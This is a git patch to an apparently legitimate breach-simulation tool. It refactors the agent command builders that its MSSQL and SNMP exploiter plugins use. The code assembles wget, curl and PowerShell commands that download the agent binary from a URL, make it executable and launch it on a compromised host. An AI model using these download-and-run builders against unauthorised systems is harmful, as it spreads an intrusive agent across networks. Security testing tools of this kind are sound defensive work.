From 48fdb7751b6739961fc8fc3300abf9f720475ac8 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Tue, 11 Jun 2024 09:31:21 +0000 Subject: [PATCH] Agent: Change command builders to work with lists instead of strings Working with a list is more flexible --- .../mssql/src/mssql_command_builder.py | 4 +- .../exploiters/snmp/src/plugin.py | 2 +- .../linux_agent_command_builder.py | 43 +++++++++-------- .../windows_agent_command_builder.py | 48 ++++++++++++------- .../mssql/test_mssql_command_builder.py | 4 +- .../test_linux_agent_command_builder.py | 2 +- .../test_windows_agent_command_builder.py | 2 +- vulture_allowlist.py | 2 + 8 files changed, 63 insertions(+), 44 deletions(-) diff --git a/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py b/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py index 1e20784ad74..8d4c2f0de5f 100644 --- a/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py +++ b/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py @@ -15,7 +15,7 @@ def build_mssql_agent_download_command( agent_destination_path: PureWindowsPath, agent_command_builder: IWindowsAgentCommandBuilder, ) -> str: - agent_command_builder.reset_command() + agent_command_builder.reset() download_options = WindowsDownloadOptions( agent_destination_path=agent_destination_path, @@ -31,7 +31,7 @@ def build_mssql_agent_launch_command( agent_destination_path: PureWindowsPath, agent_command_builder: IWindowsAgentCommandBuilder, ) -> str: - agent_command_builder.reset_command() + agent_command_builder.reset() run_options = WindowsRunOptions( agent_destination_path=agent_destination_path, diff --git a/monkey/agent_plugins/exploiters/snmp/src/plugin.py b/monkey/agent_plugins/exploiters/snmp/src/plugin.py index d3774db017d..86766193ecf 100644 --- a/monkey/agent_plugins/exploiters/snmp/src/plugin.py +++ b/monkey/agent_plugins/exploiters/snmp/src/plugin.py @@ -128,7 +128,7 @@ def _create_snmp_exploiter( agent_command_builder.get_command(), ) - agent_command_builder.reset_command() + agent_command_builder.reset() return SNMPExploiter( exploit_client, self._http_agent_binary_server_registrar, diff --git a/monkey/infection_monkey/command_builders/linux_agent_command_builder.py b/monkey/infection_monkey/command_builders/linux_agent_command_builder.py index f4e882aab0d..1be6579a34a 100644 --- a/monkey/infection_monkey/command_builders/linux_agent_command_builder.py +++ b/monkey/infection_monkey/command_builders/linux_agent_command_builder.py @@ -1,5 +1,5 @@ from pathlib import PurePosixPath -from typing import Sequence +from typing import List, Sequence from agentpluginapi import ( DropperExecutionMode, @@ -28,44 +28,46 @@ def __init__( self._otp_provider = otp_provider self._agent_otp_environment_variable = agent_otp_environment_variable self._current_depth = current_depth - self._command = "" + self._commands = [] def build_download_command(self, download_options: LinuxDownloadOptions): download_command_func = self._build_download_command_wget if download_options.download_method == LinuxDownloadMethod.CURL: download_command_func = self._build_download_command_curl - self._command += download_command_func( - download_options.download_url, download_options.agent_destination_path + self._commands.extend( + download_command_func( + download_options.download_url, download_options.agent_destination_path + ) ) def _build_download_command_wget( self, download_url: str, destination_path: PurePosixPath - ) -> str: - return ( - f"wget -qO {destination_path} {download_url}; " - f"{self._set_permissions_command(destination_path)}; " - ) + ) -> List[str]: + return [ + f"wget -qO {destination_path} {download_url} ", + f"{self._set_permissions_command(destination_path)}", + ] def _build_download_command_curl( self, download_url: str, destination_path: PurePosixPath - ) -> str: - return ( - f"curl -so {destination_path} {download_url}; " - f"{self._set_permissions_command(destination_path)}; " - ) + ) -> List[str]: + return [ + f"curl -so {destination_path} {download_url} " + f"{self._set_permissions_command(destination_path)}" + ] def _set_permissions_command(self, destination_path: PurePosixPath) -> str: return f"chmod +x {destination_path}" def build_run_command(self, run_options: LinuxRunOptions): - self._command += ( + self._commands.append( f"{self._agent_otp_environment_variable}={self._otp_provider.get_otp()} " f"{str(run_options.agent_destination_path)} " ) if run_options.dropper_execution_mode != DropperExecutionMode.SCRIPT: - self._command += self._build_agent_run_arguments(run_options) + self._commands.append(self._build_agent_run_arguments(run_options)) def _build_agent_run_arguments(self, run_options: LinuxRunOptions) -> str: agent_arguments = build_monkey_commandline_parameters( @@ -77,7 +79,10 @@ def _build_agent_run_arguments(self, run_options: LinuxRunOptions) -> str: return f"{get_agent_argument(run_options)} {' '.join(agent_arguments)}" def get_command(self) -> str: - return self._command + return ";".join(self._commands) + + def get_command_list(self) -> List[str]: + return self._commands - def reset_command(self): - self._command = "" + def reset(self): + self._commands = [] diff --git a/monkey/infection_monkey/command_builders/windows_agent_command_builder.py b/monkey/infection_monkey/command_builders/windows_agent_command_builder.py index b42b4a15910..49fc59cc788 100644 --- a/monkey/infection_monkey/command_builders/windows_agent_command_builder.py +++ b/monkey/infection_monkey/command_builders/windows_agent_command_builder.py @@ -1,5 +1,5 @@ from pathlib import PureWindowsPath -from typing import Sequence +from typing import List, Sequence from agentpluginapi import ( DropperExecutionMode, @@ -29,20 +29,25 @@ def __init__( self._otp_provider = otp_provider self._agent_otp_environment_variable = agent_otp_environment_variable self._current_depth = current_depth - self._command = "" + self._commands = [] def build_download_command(self, download_options: WindowsDownloadOptions): if download_options.download_method == WindowsDownloadMethod.WEB_REQUEST: download_command_func = self._build_download_command_webrequest - if download_options.download_method == WindowsDownloadMethod.WEB_CLIENT: + elif download_options.download_method == WindowsDownloadMethod.WEB_CLIENT: download_command_func = self._build_download_command_webclient + else: + raise NotImplementedError( + f"Download method {download_options.download_method} " f"is not implemented" + ) # We always download using powershell since CMD doesn't have # or it is really hard to set a download command - self._command += "powershell " - - self._command += download_command_func( - download_options.download_url, download_options.agent_destination_path + self._commands.append( + "powershell " + + download_command_func( + download_options.download_url, download_options.agent_destination_path + ) ) def _build_download_command_webrequest( @@ -50,7 +55,7 @@ def _build_download_command_webrequest( ) -> str: return ( f"Invoke-WebRequest -Uri '{download_url}' " - f"-OutFile '{destination_path}' -UseBasicParsing; " + f"-OutFile '{destination_path}' -UseBasicParsing" ) def _build_download_command_webclient( @@ -58,25 +63,29 @@ def _build_download_command_webclient( ) -> str: return ( "(new-object System.Net.WebClient)" - f".DownloadFile(^''{download_url}^'' , ^''{destination_path}^''); " + f".DownloadFile(^''{download_url}^'' , ^''{destination_path}^'')" ) def build_run_command(self, run_options: WindowsRunOptions): # Note: Downloading a file in Windows is always PowerShell # so this is how we switch to CMD for the run command - if self._command != "": - if run_options.shell == WindowsShell.CMD: - self._command += "cmd.exe /c " + command = "" + if run_options.shell == WindowsShell.CMD: + command = "cmd.exe /c " if run_options.shell == WindowsShell.POWERSHELL: set_otp = self._set_otp_powershell - if run_options.shell == WindowsShell.CMD: + elif run_options.shell == WindowsShell.CMD: set_otp = self._set_otp_cmd + else: + raise NotImplementedError(f"Shell {run_options.shell} not implemented") - self._command += f"{set_otp()} {str(run_options.agent_destination_path)} " + command += f"{set_otp()} {str(run_options.agent_destination_path)} " if run_options.dropper_execution_mode != DropperExecutionMode.SCRIPT: - self._command += self._build_agent_run_arguments(run_options) + command += self._build_agent_run_arguments(run_options) + + self._commands.append(command) def _set_otp_powershell(self) -> str: return f"$env:{self._agent_otp_environment_variable}='{self._otp_provider.get_otp()}';" @@ -94,7 +103,10 @@ def _build_agent_run_arguments(self, run_options: WindowsRunOptions) -> str: return f"{get_agent_argument(run_options)} {' '.join(agent_arguments)}" def get_command(self) -> str: - return self._command + return ";".join(self._commands) + + def get_command_list(self) -> List[str]: + return self._commands - def reset_command(self): - self._command = "" + def reset(self): + self._commands = [] diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_command_builder.py index 36e750796fd..21842a260ce 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_command_builder.py @@ -27,7 +27,7 @@ def test_download_command(windows_agent_command_builder: IWindowsAgentCommandBui "http://download.me/", AGENT_DESTINATION_PATH, windows_agent_command_builder ) - windows_agent_command_builder.reset_command.assert_called_once() + windows_agent_command_builder.reset.assert_called_once() windows_agent_command_builder.get_command.assert_called_once() assert actual_command == EXPECTED_DOWNLOAD_COMMAND @@ -40,6 +40,6 @@ def test_launch_command(windows_agent_command_builder: IWindowsAgentCommandBuild AGENT_DESTINATION_PATH, windows_agent_command_builder ) - windows_agent_command_builder.reset_command.assert_called_once() + windows_agent_command_builder.reset.assert_called_once() windows_agent_command_builder.get_command.assert_called_once() assert actual_command == EXPECTED_RUN_COMMAND diff --git a/monkey/tests/unit_tests/infection_monkey/command_builders/test_linux_agent_command_builder.py b/monkey/tests/unit_tests/infection_monkey/command_builders/test_linux_agent_command_builder.py index 6d8ae0fd69a..9e29bd5ab91 100644 --- a/monkey/tests/unit_tests/infection_monkey/command_builders/test_linux_agent_command_builder.py +++ b/monkey/tests/unit_tests/infection_monkey/command_builders/test_linux_agent_command_builder.py @@ -135,5 +135,5 @@ def test_command_reset(linux_agent_command_builder: ILinuxAgentCommandBuilder): linux_agent_command_builder.build_download_command(linux_download_options) assert len(linux_agent_command_builder.get_command()) > 0 - linux_agent_command_builder.reset_command() + linux_agent_command_builder.reset() assert linux_agent_command_builder.get_command() == "" diff --git a/monkey/tests/unit_tests/infection_monkey/command_builders/test_windows_agent_command_builder.py b/monkey/tests/unit_tests/infection_monkey/command_builders/test_windows_agent_command_builder.py index f0e7b8aa585..a0a251ad118 100644 --- a/monkey/tests/unit_tests/infection_monkey/command_builders/test_windows_agent_command_builder.py +++ b/monkey/tests/unit_tests/infection_monkey/command_builders/test_windows_agent_command_builder.py @@ -195,5 +195,5 @@ def test_command_reset(windows_agent_command_builder: IWindowsAgentCommandBuilde windows_agent_command_builder.build_download_command(windows_download_options) assert len(windows_agent_command_builder.get_command()) > 0 - windows_agent_command_builder.reset_command() + windows_agent_command_builder.reset() assert windows_agent_command_builder.get_command() == "" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 45dc8e8d34e..02f30d5e871 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -182,3 +182,5 @@ # TODO: Remove after we move the plugins to separate repos execute_agent +LinuxAgentCommandBuilder.get_command_list +WindowsAgentCommandBuilder.get_command_list